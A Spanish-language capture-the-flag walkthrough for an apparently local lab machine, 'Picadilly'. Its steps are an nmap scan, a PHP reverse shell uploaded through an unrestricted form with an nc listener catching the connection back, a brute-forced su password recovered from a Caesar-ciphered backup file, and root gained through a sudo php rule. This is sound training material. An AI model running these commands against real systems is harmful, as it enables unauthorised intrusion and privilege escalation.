Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 14:57 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 215 2024-05-18 01:19 backup.txt
|_
443/tcp open ssl/http Apache httpd 2.4.59 ((Debian))
|_http-title: Picadilly
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=50a6ca252ff4
| Subject Alternative Name: DNS:50a6ca252ff4
| Not valid before: 2024-05-18T06:29:06
|_Not valid after: 2034-05-16T06:29:06
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: picadilly.lab
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Si entramos en el 443 que parece interesante, veremos una pagina normal que abajo del todo se puede subir un archivo, por lo que probaremos a subir un PHP para crearnos una reverse shell.
Si subimos el archivo shell.php veremos que nos deja subirlo y que se habra subido correctamente, por lo que haremos fuzzing para ver donde se encuentra el directorio donde se almaceno nuestro archivo:
Vemos que hay un directorio llamado uploads/ por lo que tiene toda la pinta de que estara ahi.
URL = https://<IP>/uploads/
Si entramos ahi dentro veremos que esta nuestro archivo shell.php por lo que nos pondremos a la escucha antes de ejecutarlo:
nc -lvnp <PORT>
Y desde la web pinchamos a nuestro archivo que subimos, una vez echo esto si nos vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 49694
whoami
www-data
Por lo que vemos ya hemos entrado con el usuario www-data.
Sanitizamos la shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user mateo
Si leemos el siguiente archivo en esta ruta:
cat /var/www/picadilly/backup.txt
Info:
/// The users mateo password is ////
----------- hdvbfuadcb ------------
"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."
////////////////////////////////////
Vemos que no esta diciendo la contraseña de mateo, pero esta cifrada...
Vemos que esta cifrado en Cesar, y nos da esas opciones de contraseña, por lo que vamos hacer un diccionario de todos esos resultado para ver cual de todas puede ser, utilizando una herramienta llamado suBrutefoce.sh.
Solo tendremos que copiar el codigo y pegarlo en el archivo que creemos en /tmp.
vim suBruteforce.sh
#<PRESS_i>
#<SCRIPT_PASTE>
#<ESC>
#<:wq> Para guardar y salir
Una vez que tengamos el script cargado en el sistema, ponemos permisos de ejecuccion:
chmod +x suBruteforce.sh
Y haremos lo mismo con el archivo de contraseñas:
vim dic.txt
#<PRESS_i>
#<PASTE_KEYS>
#<ESC>
#<:wq> Para guardar y salir
Y utilizaremos la herramienta de la siguiente forma:
bash suBruteforce.sh mateo dic.txt
Info:
[+] Contraseña encontrada para el usuario mateo:easycrazy
Por lo que escalaremos al usuario mateo.
su mateo
Metemos como contraseña easycrazy y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mateo on c8332aa1fb59:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mateo may run the following commands on c8332aa1fb59:
(ALL) NOPASSWD: /usr/bin/php
Veremos que podemos ejecutar el binario php como el usuario root, por lo que haremos lo siguiente:
CMD="/bin/bash"
sudo php -r "system('$CMD');"
Con esto seremos root y habremos terminado la maquina.